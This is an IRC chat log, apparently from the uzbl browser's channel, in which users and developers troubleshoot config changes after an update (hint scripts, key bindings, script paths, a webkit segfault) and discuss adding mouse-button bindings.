17:31 < axionix> ive used arch for like 7 years, but LFS was my first real distro...besides a brief slackware intro :)
17:31 < keis_> hmm, but arch is not using prebuilt kernel, or is it?
17:31 < axionix> i still build my distro for my main workstation...just too lazy to do it for every pc :)
17:32 < axionix> yes arch uses a prebuilt kernel
17:32 < keis_> oh
17:32 < rob|> i gave up this distro hopping a long time ago, after trying out all/most of them. and sticked with debian for years
17:33 < rob|> though arch was a nice, fresh breeze..
17:33 < keis_> this = arch?
17:34 < keis_> err, can't read :P
17:34 < axionix> yeah i did too...after slackware i tried a bunch for about 2 years
17:34 < axionix> imo nothing compares to arch...except doing it yourself
17:34 < rob|> netbsd was a nice experience, though
17:35 < axionix> which is slightly better if you have the time
17:35 < rob|> the closest thing to a real unix
17:35 < rob|> well, the closest *free* thing
17:35 < axionix> yeah i did try bsd, but...it was after my slackware days...back when 5.1 channel sound was absent from the bsd kernel
17:35 < axionix> so i never stuck with it
17:35 < axionix> <-- huge audiophile
17:36 < rob|> for such stuff i used to use irix on an old indy
17:36 < rob|> everything built in and working out of the box
17:36 < axionix> nice
17:36 < rob|> a great machine that i still use as a monitor stand :P
17:37 < rob|> <-- big SGI fan, well - before they f*cked everything up..
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17:47 < rob|> the O2+ was a great machine
17:47 < rob|> and also had a sexy shape ;)
17:48 < rob|> http://upload.wikimedia.org/wikipedia/commons/e/ea/Silicon_Graphics_O2_Plus.jpg
17:55 < L29Ah> who put cdrom into the vacuum cleaner!?
17:55 < L29Ah> non-unixway!
17:56 < rob|> ;)
17:56 < rob|> see, it's modular. if you just want the vacuum, leave the drive out ;)
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18:10 < chiiph> hmmm... it seems that the hint script isn't working...
18:10 < chiiph> any ideas why could that be?
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18:11 < rob|> chiiph: which one?
18:12 < chiiph> rob|: the one that's default for F key...
18:13 < rob|> oh, the default 'fl' binding (i.e. follow_Numbers.js) is the one that works best
18:14 < rob|> we should get rid og the others in the sample config..
18:14 < rob|> *of
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18:15 < chiiph> rob|: and how exactly does this work? cause it just doesn't do anything...
18:16 < rob|> hit 'fl' then numbered tags should appear
18:16 < chiiph> rob|: they don't
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18:17 < rob|> odd, it works for me
18:17 < chiiph> rob|: I get this: (uzbl-core:11763): Gtk-WARNING **: Ran out of link
18:18 < rob|> yeah, you can safely ignore that
18:19 < chiiph> rob|: yes, but either way, it doesn't work, not fl nor fL or F... :(
18:19 < rob|> you didn't test with gmail, did you?
18:19 < rob|> it's non not to work there
18:20 < rob|> *known
18:21 < chiiph> nope... with uzbl's web page...
18:22 < rob|> well, i just tested with 'make test-dev-browser' on master and uzbl.org. which works great..
18:23 < rob|> did you remove those bindings from the config or something?
18:23 < chiiph> no, there they are...
18:23 < rob|> it might also try to load an old version of that script, just try with 'make test-dev-browser'
18:23 < rob|> if it works there it's a config problem on your side..
18:24 < chiiph> yep, it works... I'll see what's wrong
18:26 < comhack> so I updated uzbl-git today and now I get
18:26 < comhack> command "bind" not understood. ignoring.
18:26 < comhack> any ideals of what to change in the config?
18:26 < comhack> I know bind obviously but to what
18:27 < olcc> comhack: look at the new default config
18:27 < rob|> comhack: i'd suggest to just use the sample config as reference and modify it to your likings
18:27 < comhack> well I used the previous default but added to it
18:28 < comhack> I dont know why I did not reference it with the new one
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18:28 < rob|> comhack: a _lot_ has changed, so you could certainly rewrite your old config but the easier way is to adapt the new one
18:28 < comhack> and where is located
18:28 < comhack> in the /usr/share/?
18:28 < olcc> yes
18:29 < comhack> thanks alot
18:29 < rob|> examples/config/uzbl/config
18:29 < comhack> oh wow alot different
18:30 < comhack> hopefully the keybindings are not much different so I do not have to relearn em a
18:30 < comhack> nm thanks alot
18:30 < rob|> no, all the old binding string will still work
18:30 < olcc> they are about the same I think
18:30 < rob|> *strings
18:30 < comhack> coool
18:31 < rob|> you just have a lot more possibilities, like the very cool stacked bindings
18:31 < comhack> hmmm stacked
18:31 < comhack> have to check it out after work    on lunch   thanks alot though
18:31 < olcc> someone would know how I could http://www.uzbl.org/wiki/middle_click_links to work on new config ?
18:31 < comhack> oh it doesnt work>?
18:31 < comhack> have to figure that one out too
18:32 < olcc> I tried @on_event   LOAD_COMMIT    spawn @scripts_dir/middle.js
18:32 < rob|> olcc: s/spawn/script/
18:32 < olcc> thanks :)
18:34 < rob|> also, did you notice the automatic switching to insert mode when a (editable) form is clicked or has initial focus?
18:34 < rob|> should be pretty handy as well
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18:46 < hickop> about the auto insert mode , is there a way to make it active before LOAD_FINISH ?
18:48 < jelly12gen> is there a new release of uzbl?
18:48 < rob|> sure, you would just attach it to some other event
18:48 < rob|> jelly12gen: yeah
18:48 < jelly12gen> did i just saw that @ github :)
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18:49 < jelly12gen> rob|: much changed?
18:49 < rob|> quite a bit
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18:49 < rob|> rather, pretty much ;)
18:50 < hickop> rob|: tried with LOAD_COMMIT and it wont work :/
18:50 < rob|> hickop: i'm not sure what you actually want to do
18:51 < hickop> sometimes i can see cursor active in input area , but it wont go to insert mode until page is fully loaded, or i click the input area
18:52 < hickop> i'd like to switch to inpu mode as soon as cursor shows active
18:52 < hickop> *input
18:52 < rob|> right, so you would want to check if an element has focus _while_ the page is loading, yeah?
18:52 < hickop> i guess yes
18:53 < hickop> need to make a script for that ?
18:53 < rob|> well, no. the LOAD_PROGRESS event is generated several times while the page loads
18:54 < rob|> so you could just attach to it
18:54 < hickop> rob|: that works ! thanks
18:54 < rob|> sure thing
18:54 < rob|> i just realized i forgot to document that event..
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19:03 < rob|> oh, and for you tiling WM guys out there:  http://www.uzbl.org/wiki/dynamic_zooming  and  http://www.youtube.com/watch?v=uWc-m6S2ImM
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19:04 < rob|> this pretty much replaces tabs for me
19:04 < rob|> well, at least if you're not that type of person who has 20+ tabs open at a time
19:05 < olcc> that looks nice
19:06 < olcc> but I'm that type of person :p
19:08 < DuClare> http://tmux.sourceforge.net/
19:10 < rob|> DuClare: ?
19:11 < DuClare> rob|, Just something somebody might be interested in.
19:11 < DuClare> A tiling wm for the terminal. :>
19:11 < rob|>  http://tools.suckless.org/tabbed would be the GUI counterpart for tmux/screen
19:11 < hickop> 0
19:11 < rob|> sort of..
19:11 < DuClare> Or a screen clone with some design differences
19:17 < chiiph> does the tabbed script binds the keys without any configuration?
19:18 < rob|> tabbed is currently broken
19:19 < rob|> if you're referring to uzbl-tabbed
19:19 < chiiph> yep..
19:19 < chiiph> ok...
19:20 < rob|> mason is hard at work on it, so i guess we can expect a working version next week
19:20 < chiiph> great...
19:21 < rob|> meanwhile there is the above mentioned tabbed thing or http://www.uzbl.org/wiki/uzbltab?s[]=tab
19:22 < rob|> Dieterbe: why don't we have a uzbl page on the arch wiki?
19:24 < jelly12gen> uzbl still segfaults with the latest webkit?
19:29 < rob|> latest i checked is 1.1.16 where it segfaults if you didn't follow the advice in here:  http://www.uzbl.org/news.php?id=17
19:29 < rob|> note the UPDATE
19:31 < jelly12gen> my /var/cache/pacman/pkg/
19:31 < jelly12gen> has enough versions of webkit
19:32 < jelly12gen> Wow much changed
19:33 < rob|> yeah
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19:36 < jelly12gen> let me see if i can trash vimperator
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19:49 < rob|> well, when we finally get dom access on C level we'll be able to do some pretty fancy things that vimperator will never be able to provide
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19:50 < rob|> like hooking userscripts written in any language to DOM events
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19:51 < jelly12gen> ooh
19:52 < jelly12gen> rob|: the cookie handler makes it a bit slower
19:52 < jelly12gen> that's what i remembered
19:53 < jelly12gen> and the follow_string etc. of vimperator is win
19:53 < rob|> cookie_daemon for the rescue
19:53 < jelly12gen> let me see what i am using
19:53 < rob|> also, we have something like on the wiki
19:53 < jelly12gen> i know
19:53 < jelly12gen> i was talking about my experience
19:58 < rob|> is that vimperator script written in JS?
19:58 < jelly12gen> i dont know actually
19:58 < rob|> if so it shouldn't be too hard to adapt it to uzbl
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20:00 < jelly12gen> yeah
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22:56 < olcc> is there a command to erase current command (Esc key)?
22:56 < olcc> (to add in a script)
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22:58 < rob|> yes, '@bind foo = '   (note the trailing space)
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22:59 < olcc> I'll try that
22:59 < jelly12gen> or i am stupid
22:59 < jelly12gen> or i dont get it
22:59 < jelly12gen> i have:
23:00 < jelly12gen> "set scripts_dir = $XDG_DATA_HOME/uzbl/scripts:scripts
23:00 < jelly12gen> and put the scripts into that dir
23:00 < jelly12gen> but uzbl cant find it
23:01 < rob|> how/where do you make use of scripts_dir?
23:01 < rob|> (that's just a custom variable)
23:02 < jelly12gen> .local/share/uzbl/scripts
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23:02 < jelly12gen> in my homedir
23:03 < rob|> let me rephrase, scripts_dir is just a variable, it doesn#t do anything useful on its own
23:03 < jelly12gen> ofc.
23:04 < olcc> rob|: actually, I need to put it in a js script (Uzbl.run(".."))
23:04 < jelly12gen> hmm started running uzbl-browser from a terminal
23:04 < jelly12gen> no clue's
23:04 < olcc> doesn't seem to work but I didn't get what you meant by trailing space
23:04 < jelly12gen> (uzbl-core:8516): GLib-CRITICAL **: g_strsplit: assertion `string != NULL' failed
23:04 < rob|> olcc: you can do that as well
23:05 < rob|> after the = there must be one space, that will overwrite the binding with a space which basically makes it a no-op
23:05 < olcc> oh ok
23:07 < olcc> so I should use Uzbl.run(' ') ?
23:08 < rob|> only if you want to use it from java script
23:08 < olcc> yep ok
23:09 < olcc> doesn't seem to help though :/
23:09 < rob|> hmm, let me check
23:10 < rob|> well, works for me
23:10 < rob|> you can try it from within uzbl:  go to a site where you can scroll down using 'j'
23:10 < rob|> the type     :@bind j=
23:11 < rob|> one space after = then hit return
23:11 < rob|> now 'j' shouldn't scroll the page anymore
23:12 < olcc> yes
23:12 < rob|> so, it works like that for every binding
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23:13 < olcc> ah I must have expressed myself badly
23:13 < olcc> I don't want to override an existing binding
23:14 < olcc> I need a sort of Esc key emulation
23:14 < rob|> so you want to switch to command mode?
23:15 < olcc> and discard the currently typed command
23:16 < rob|> ah, i see
23:16 < olcc> in fact I tried the follow_Number_New script (on wiki)
23:16 < olcc> but it doesn't match the behavior it had on old versions
23:16 < rob|> well you can do just what the default <Escape> binding does:  @set_mode
23:17 < comhack> I am running the new uzbl-git and I copied the examples from /usr/share/uzbl/examples/ but I get an error everytime I start uzbl-browser: http://pastebin.com/m1008687f Thanks
23:17 < rob|> or @set_mode command
23:17 < rob|> if you want (no argument defaults to command)
23:17 < comhack> including the new config file
23:18 < rob|> comhack: where's the error?
23:18 < comhack> in the pastebin
23:18 < olcc> ah right
23:18 < olcc> thanks
23:18 < comhack> dont want to spam it
23:18 < olcc> I should have bette looked at the defaults
23:19 < comhack> running it on arch btw
23:19 < rob|> olcc: yeah, the sample config demonstrates almost all new features
23:20 < rob|> comhack: > /dev/null
23:20 < comhack> yeah I copied it all from data and data
23:20 < comhack> oops sorry
23:20 < mason-l> comhack, Theres no error in that pastebin...
23:20 < rob|> comhack: "make install"  should be all you need
23:21 < comhack> make install
23:21 < comhack> on a ABS install?
23:21 < comhack> I installed using yaourt
23:21 < mason-l> comhack, The event_manager.py is supposed to work like that.
23:21 < comhack> ok well it comes up and turns off
23:21 < comhack> So I ran it in a console to see the output and that was it
23:22 < mason-l> comhack, It doesn't close it enters daemon mode.
23:22 < comhack> ok so how do I open it then
23:22 < mason-l> comhack, If you want to see output then: event_manager.py -nv restart
23:22 < comhack> not output I just awant it to run
23:22 < rob|> comhack: just to get you right, are you talking about the event manager or the browser window?
23:22 < comhack> browser window
23:23 < mason-l> Catcha guys.
23:23 < rob|> ok, you ran 'uzbl-browser' and the window pops up and closes itself?
23:23 < comhack> that the output I got from running uzbl-browser in the console
23:23 < comhack> yup
23:23 < rob|> mason-l: see you
23:23 < comhack> like the segfault before but without a seg fault
23:24 < rob|> i have no idea what the abs build does regarding installation
23:24 < comhack> just yaourt -S uzbl-git
23:24 < comhack> umm hold on
23:25 < comhack> this is what it does http://aur.archlinux.org/packages/uzbl-git/uzbl-git/PKGBUILD
23:25 < comhack> if that helps any
23:26 < rob|> yeah, so it calls make install
23:26 < comhack> has the libwebkit problem been fixed   that may be the issue
23:26 < rob|> no, but you can easily fix it yourself
23:26 < comhack> ahh might be it
23:27 < rob|> http://www.uzbl.org/news.php?id=17
23:27 < comhack> I have read that but I figured the new uzbl fixed the issue with libwebkit
23:27 < comhack> gonna restore the old one
23:28 < comhack> works
23:28 < comhack> damn libwebkit
23:29 < rob|> ok
23:29 < comhack> thanks alot rob|
23:29 < rob|> sure thing
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23:54 < rob|> ??
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00:14 < Dr-Horrible> rob|: #archlinux-offtopic
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00:21 < rob|> Dr-Horrible: what's up in there?
00:21 < Dr-Horrible> that's what's jelly12gen nickchanges where all about
00:22 < Dr-Horrible> now there is not much happening:P
00:22 < rob|> oh
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00:33 < comhack> Got a quick question, before the update I would type "gl" and use the numeric pad to type in the link number but now the numberkey pad does not work   Any ideals?
00:33 < comhack> #"fl"
00:33 < comhack> sorry
00:33 < comhack> looking in the config but not seeing anything
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00:42 < rob|> well, you can do it like this:  save this http://dpaste.com/117632/ to a file
00:42 < rob|> and add 'include /path/to/that/file' to your config
00:43 < rob|> btw, you can use @modmap to map any modifiers/characters to any other
00:44 < comhack> cool thanks again
00:46 < fflarex> is it possible to map mouse buttons at all?
00:46 < rob|> not yet
00:46 < fflarex> is it planned then, or just not really considered important?
00:46 < rob|> technically it wouldn't be a problem, but we need to find a good way to not make the defaults unusable with that
00:47 < Dr-Horrible>  can I append one char at the end of the current keycmd? This way you can map <KP_*> to *
00:47 < rob|> yeah, it's planned and will definitly be implemented
00:47 < rob|> Dr-Horrible: yes,  event APPEND_KEYMCD whatever
00:48 < rob|> sry, APPEND_KEYCMD
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00:57 < comhack> rob|: where should I add the modmap_keypad script to on the /uzbl/config?
00:57 < comhack> I added include ~/.local/share/uzbl/scripts/modmap_keypad
00:57 < comhack> but no good
00:57 < rob|> replace '~' with the full path
00:57 < comhack> ahh ok
00:59 < comhack> nope no good
00:59 < rob|> or even better:  http://dpaste.com/117641/
00:59 < rob|> note the use of config_dir
00:59 < comhack> hmm  thanks
01:00 < rob|> with that it should go to '$HOME/.config/uzl/file'
01:00 < rob|> *uzbl
01:00 < comhack> thanks
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01:09 < rob|> got it working?
01:17 < comhack> nope
01:17 < comhack> still messing with it
01:19 < rob|> hmm
01:20 < comhack> here is my config file http://pastebin.com/f2fa28e84
01:20 < rob|> as i said '~' won't work
01:21 < comhack> I know
01:21 < comhack> I used $XDG_DATA_HOME/uzbl/scripts/
01:21 < comhack> since it is in ~/.local/share/uzbl/scripts
01:22 < rob|> your scripts_dir line makes no sense
01:23 < comhack> huh?
01:23 < rob|> you should be just using the default one
01:24 < comhack> ok
01:24 < rob|> i try it once again '~' won't work :P
01:24 < comhack> oh shit
01:24 < comhack> dub
01:24 < comhack> dumb
01:24 < rob|> same applies to config_dir
01:25 < comhack> yeah changing now
01:25 < comhack> I thought you meant somewhere elze I did not notice that soirry
01:25 < rob|> then (depending where you put that file), just use:  include @config_dir/modmap_keypad
01:25 < comhack> ok
01:25 < rob|> or: include @scripts_dir/modmap_keypad
01:26 < comhack> i have it in ~/.local/share/uzbl/scripts
01:26 < rob|> i'd suggest to save the file to $HOME/.config/uzbl and use config_dir
01:26 < rob|> well, then you need script_dir
01:26 < rob|> *scripts
01:26 < comhack> ok
01:27 < rob|> but be sure to use the default for those first
01:27 < comhack> ok
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01:28 < rob|> we need better docs..
01:28 < comhack> sorry
01:28 < rob|> no worries
01:28 < comhack> I have been using for two weeks and thought I had it down till today
01:28 < rob|> a lot has changed, so i can understand you
01:29 < comhack> so   set scripts_dir    = $XDG_DATA_HOME/uzbl:/home/comhack.local/share/uzbl:scripts   ?
01:29 < comhack> so   set scripts_dir    = $XDG_DATA_HOME/uzbl:/home/comhack.local/share/uzbl:scripts   ?and
01:29 < comhack> oops sorry
01:29 < rob|> look, "$XDG_DATA_HOME/uzbl" will expand to ":/home/comhack.local/share/uzbl" so there is no need for the latter
01:30 < comhack> oh ok
01:30 < rob|> also you have a typo in there ;)
01:30 < comhack> so set scripts_dir    = $XDG_DATA_HOME/uzbl:scripts
01:30 < comhack> yeah I know
01:30 < comhack> was not donw
01:30 < comhack> #done
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01:31 < rob|> set scripts_dir    = $XDG_DATA_HOME/uzbl:/usr/local/share/uzbl/examples/data/uzbl:scripts
01:31 < rob|> set config_dir     = $XDG_CONFIG_HOME:/usr/local/share/uzbl/examples/config:uzbl
01:32 < comhack> ok one second
01:33 < comhack> ok
01:34 < comhack> include $XDG_DATA_HOME/uzbl:/scripts/modmap_keypad ?
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01:36 < comhack> I customized my config and script dir so if I set config as /usr/local/share/uzbl/examples/config:uzbl  it wont use my uzbl/config
01:36 < comhack> never mind I will get it
01:36 < comhack> thanks for the hel[
01:36 < rob|> no:  include @scripts_dir/modmap_keypad
01:36 < comhack> oh ok
01:37 < rob|> anyways, for gods sake just copy those lines into the config file :P
01:37 < comhack> I did
01:37 < rob|> heh, ok
01:38 < comhack> didnt work even while copying
01:38 < comhack> I know it is because my script is not in /usr/local/share/uzbl/examples/data/uzbl:scripts
01:38 < rob|> you did !reload or restarted uzbl, didn't you?
01:38 < comhack> its in ~/.local/share/uzbl/scripts
01:38 < comhack> oops one on 8 dsktop
01:39 < comhack> nope
01:39 < comhack> when I hit a finally it worked
01:39 < comhack> god dang
01:39 < rob|> well, you know what to do then :)
01:39 < comhack> yeah
01:39 < comhack> im braindead todnight sorry
01:40 < rob|> mason-l: i wonder wether we should report the state of the modifiers on each keypress/release and do some conversion magic inside core
01:41 < rob|> mason-l: all this modmap is not very elegant
01:41 < rob|> ^stuff
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01:52 < Dieterbe> rob|> Dieterbe: why don't we have a uzbl page on the arch wiki? <-- because noone bothered to make one and i don't see why anyone should
01:52 < Dieterbe> good evening btw
01:53 < Dieterbe> DuClare: progressive metal
01:54 < Dieterbe>  rob|> hmm, dieter didn't merge some of my latests commits to master <-- i didn't know i was supposed to
02:04 < rob|> hey
02:04 < rob|> oh, ok.
02:05 < rob|> so here an interesting decision to make regarding binfing mouse buttons
02:06 < rob|> we can either introduce BUTTON_PRESS/RELEASE events (which would require an EM module to handle them) or just express mouse clicks as KEY_PRESS/RELEASE <Button1>
02:06 < rob|> that way you could trivially bind to mouse clicks with   @bind <Button1> = something
02:07 < rob|> and even use modifiers and all other binding goodies with mouse buttons
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02:08 < Dieterbe> i'm fine with slightly abusing "KEY"_PRESS
02:08 < Dieterbe> the goals (simplicity) justify the means
02:11 < rob|> right, i like this approach as well
02:17 < rob|> well, i pushed that functionality to my tree
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02:18 < rob|> so you can:  @bind <Button2> = anything
02:18 < rob|> or even: @bind <Ctrl><Button1> = something
02:18 < Dieterbe> cool
02:19 < rob|> or: @bind <Button2>u = uri uzbl.org
02:19 < Dieterbe> bedtime for me. i'll talk to you later
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02:19 < rob|> fflarex: check out my repo, i just pushed mouse binding support
02:20 < fflarex> oh sweet, thanks
02:20 < rob|> <rob|> so you can:  @bind <Button2> = anything
02:20 < rob|> <rob|> or even: @bind <Ctrl><Button1> = something
02:20 < rob|> or: @bind <Button2>u = uri uzbl.org
02:22 < rob|> well, i'll push this all to dieter's experimental.
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02:24 < github> uzbl: Rob experimental SHA1-bfaefe3
02:24 < github> allow for 0 a plug socket id
02:24 < github> http://bit.ly/37P9oD
02:25 < github> uzbl: Rob experimental SHA1-6cab873
02:25 < github> added PLUG_CREATED event
02:25 < github> http://bit.ly/2ARvZD
02:25 < github> uzbl: Rob experimental SHA1-367dcb1
02:25 < github> clean up config.h
02:25 < github> http://bit.ly/2asgmN
02:25 < github> uzbl: Rob experimental SHA1-46714f5
02:25 < github> fix approach to event sending
02:25 < github> http://bit.ly/2Z4rym
02:25 < github> uzbl: Rob experimental SHA1-3fd1c34
02:25 < github> added mouse button events
02:25 < github> http://bit.ly/1iOLZk
02:25 < github> uzbl: Rob experimental SHA1-c28aa99
02:25 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into experimental
02:25 < github> http://bit.ly/c0N6j
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02:25 < fflarex> I'm having trouble with the hints scripts. the hints don't disappear when I hit escape any more
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05:17 < comhack> I noticed that uzbl-git 20091107-1 seems slower loading new links. Ones I have been to previously load quickly though
05:17 < comhack> some do some dont
05:26 < comhack> might be my net connection
05:26 < comhack> I remember the cookie file used to in the old version of uzbl-git
05:26 < comhack> slow things down anyway
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05:32 < sykora> To whoever's in charge of updating uzbl.org, try to disable whatever markup you're using when displaying variable names, they're being rendered the wrong way.
05:40 < captkirk> Can anyone set me on the right path to configuring UZBL to work through a proxy?
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05:50 < fflarex> set proxy_url = http://localhost:8123 (or whatever happens to point to your proxy)
05:51 < fflarex> personally I like setting it in the http_proxy environment variable, and then using 'set proxy_url = @(printenv http_proxy)@'
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06:05 < captkirk> fflarex: Awesome, thank you
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07:44 < sykora> Between the previous uzbl and the current uzbl, I feel I've forgotten everything.
07:51 < minozake> `uzbl-core.c:479: error: 'WebKitHitTestResult' undeclared (first use in this function)` <-- Hmmm...  I'm wondering if this is fixed, and if my package manager isn't pulling the git properly.  Anyone else hit this error?
07:56 < minozake> webkitgtk version 1.1.12
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09:25 < Dieterbe> minozake: try a newer webkit
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11:28 < captkirk> Is there a way to make it so I am prompted when a site contains javascript, asking if I would like the javascript to be executed?
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11:52 < mason_l> <Dr-Horrible>  can I append one char at the end of the current keycmd? This way you can map <KP_*> to * <-- You will want to use INJECT_KEYCMD for that.
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11:56 < Dr-Horrible> so event INJECT_KEYCMD 1?
11:56 < Dieterbe> morning guys
11:58 < mason_l> <rob|> mason-l: all this modmap is not very elegant  <-- What could be improved?
11:58 < mason_l> <Dieterbe> i'm fine with slightly abusing "KEY"_PRESS <-- Same here, though its no hassle to also catch BUTTON_PRESS in keycmd.py and treat them the same as modcmds.
11:59 < mason_l> Dr-Horrible, Yeah.
11:59 < mason_l> Dr-Horrible, INJECT_KEYCMD inserts the character at the cursor position.
12:00 < mason_l> Whereas APPEND_KEYCMD only adds the character/string to the end of the keycmd.
12:01 < mason_l> <fflarex> I'm having trouble with the hints scripts. the hints don't disappear when I hit escape any more <-- Thats because <Escape> isn't handled inside uzbl-core anymore. The better solution would be to have follow_numbers just detect a null keycmd string instead of escape.
12:01 < mason_l> <sykora> the follow_numbers scripts don't seem to be working, do they need to be updated? <-- Yes ^
12:03 < mason_l> <captkirk> Is there a way to make it so I am prompted when a site contains javascript, asking if I would like the javascript to be executed?  <-- You could make a script which is launched by '@on_event LOAD_FINISH spawn @scripts_dir/check_for_js_then_enable_scripts_and_or_check_if_a_domain_is_in_a_whitelist.js' which does what the filename hints at.
12:04 < mason_l> s/
12:04 < mason_l> s/.js/.sh/
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12:05 < Dieterbe> rob|: do i understand this correctly, if user doesn't pass --socket to uzbl-core, you assume it will be used in GtkPlug/Socket mode?
12:06 < mason-l> Dr-Horrible, Opposite.
12:06 < mason-l> Whoops.
12:06 < mason-l> Dieterbe, Opposite.
12:06 < Dieterbe> ah right, makes sense now
12:06 < Dieterbe> i was confusing it with --connect-socket
12:06 < mason-l> Dr1Horrible, Yes use INJECT_KEYCMD as it will inject that character/string at the cursor position.
12:07 < mason-l> Dieterbe, Yes I certainly sympathise.
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12:16 < mason-l> rob|, And I don't see any problem with doing http://dpaste.com/117632/
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12:18 < mason-l> rob|, Though allowing "KP_* %s" might be nice.
12:20 < mason-l> Or "ISO_*_Something_* <%2%1>"
12:20 < mason-l> s/<%2%1>/%2%1/
12:22 < sykora> I'm able to use the hints with the version downloaded from the site, but not from the version from AUR
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12:23 < sykora> And I'm not talking about the hints not disappearing, they don't appear at all to begin with.
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13:41 < Dieterbe> mason-l, rob| should we bind home and end to scroll_begin and scroll_end by default?
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13:44 < mason-l> Dieterbe, Thats difficult because there is no capacity to setup different bind actions for the insert mode. Currently and it should remain that Home and End act on the keycmd (or modcmd when applicable). But I'm always open to implementation suggestions on how to go about defining binds for other modes.
13:45 < Dieterbe> ok
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13:54 < mason-l> Dieterbe, Unless we move to a 'set bind = raise MODE_BIND command' & 'set insbind = raise MODE_BIND insert' then '@insbind <Ctrl>o<uri:\@uri>_ = uri %s'
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13:56 < mason-l> s/raise/request/
13:57  * mason-l is correcting himself a lot tonight :S
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14:01 < hickop> on this page the email input as focus but uzbl wont go to insert mode automatically, can you confirm ? https://eu.battle.net/login/login.xml?ref=https%3A%2F%2Feu.battle.net%2Faccount%2Fmanagement%2Findex.xml&app=bam
14:02 < Dieterbe> confirmed
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15:07 < github> uzbl: Dieter Plaetinck experimental SHA1-dd05934
15:07 < github> make event listing more clear
15:07 < github> http://bit.ly/2bHaJ3
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15:13 < sykora> For some reason, uzbl passes the fifo and socket locations to external scripts only if my fifo/socket dirs are set to /tmp